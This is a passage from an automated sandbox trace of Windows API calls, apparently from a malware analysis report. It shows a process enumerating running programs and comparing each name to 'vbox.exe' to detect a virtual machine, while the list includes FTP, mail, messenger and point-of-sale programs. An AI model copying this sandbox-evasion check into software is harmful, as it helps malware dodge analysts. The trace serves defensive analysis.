th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution_big_direction.exe")) returned 1 [0133.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="institution_big_direction.exe", cchCount1=29, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.843] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0133.843] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3dftp.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.843] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.844] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="absolutetelnet.exe", cchCount1=18, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.844] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.845] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="alftp.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.845] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0133.846] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="barca.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.846] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0133.847] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bitkinex.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.847] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0133.848] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="coreftp.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.848] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0133.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="far.exe", cchCount1=7, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.849] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0133.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="filezilla.exe", cchCount1=13, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.850] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0133.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flashfxp.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.852] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0133.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fling.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.853] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0133.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="foxmailincmail.exe", cchCount1=18, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.855] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0133.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gmailnotifierpro.exe", cchCount1=20, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.856] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0133.857] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icq.exe", cchCount1=7, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.857] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0133.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="leechftp.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.859] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0133.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ncftp.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.860] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0133.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="notepad.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.861] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0133.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="operamail.exe", cchCount1=13, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.863] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0133.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="outlook.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.864] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0133.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pidgin.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.865] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0133.870] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="scriptftp.exe", cchCount1=13, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.870] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0133.872] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="skype.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.872] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0133.873] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="smartftp.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.873] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0133.874] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="thunderbird.exe", cchCount1=15, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.874] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0133.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="trillian.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.875] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0133.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="webdrive.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.876] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0133.878] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="whatsapp.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.878] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0133.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="winscp.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.879] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0133.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yahoomessenger.exe", cchCount1=18, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.880] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0133.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="active-charge.exe", cchCount1=17, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.910] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0133.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="accupos.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.911] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0133.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afr38.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.912] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0133.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aldelo.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.914] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0133.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccv_server.exe", cchCount1=14, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.915] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0133.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="centralcreditcard.exe", cchCount1=21, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.916] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0133.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="creditservice.exe", cchCount1=17, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.917] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0133.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="edcsvr.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.918] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0133.919] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fpos.exe", cchCount1=8, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.919] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0133.921] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="isspos.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.921] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0133.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mxslipstream.exe", cchCount1=16, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.922] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0133.923] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="omnipos.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.923] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0133.924] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spcwin.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.925] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0133.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spgagentservice.exe", cchCount1=19, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.926] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0133.927] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="utg2.exe", cchCount1=8, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.927] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="education.exe")) returned 1 [0133.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="education.exe", cchCount1=13, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.928] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="hairfederal.exe")) returned 1 [0133.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hairfederal.exe", cchCount1=15, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.929] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="thankclearly.exe")) returned 1 [0133.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="thankclearly.exe", cchCount1=16, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.930] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1040, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="learnget.exe")) returned 1 [0133.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="learnget.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.931] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x107c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x8ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iexplore.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.932] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WmiPrvSE.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.933] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0133.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="msfeedssync.exe", cchCount1=15, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.934] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x388, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="audiodg.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.935] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="Adobe Download Manager.exe")) returned 1 [0133.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Adobe Download Manager.exe", cchCount1=26, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.936] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="Adobe Download Manager.exe")) returned 0 [0133.937] CloseHandle (hObject=0x208) returned 1 [0133.937] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0133.937] TranslateMessage (lpMsg=0xbdf794) returned 0 [0133.937] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0133.937] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0133.937] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0133.937] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e00 | out: hHeap=0xe80000) returned 1 [0133.938] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0133.938] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.938] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068038 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1708 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0133.939] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 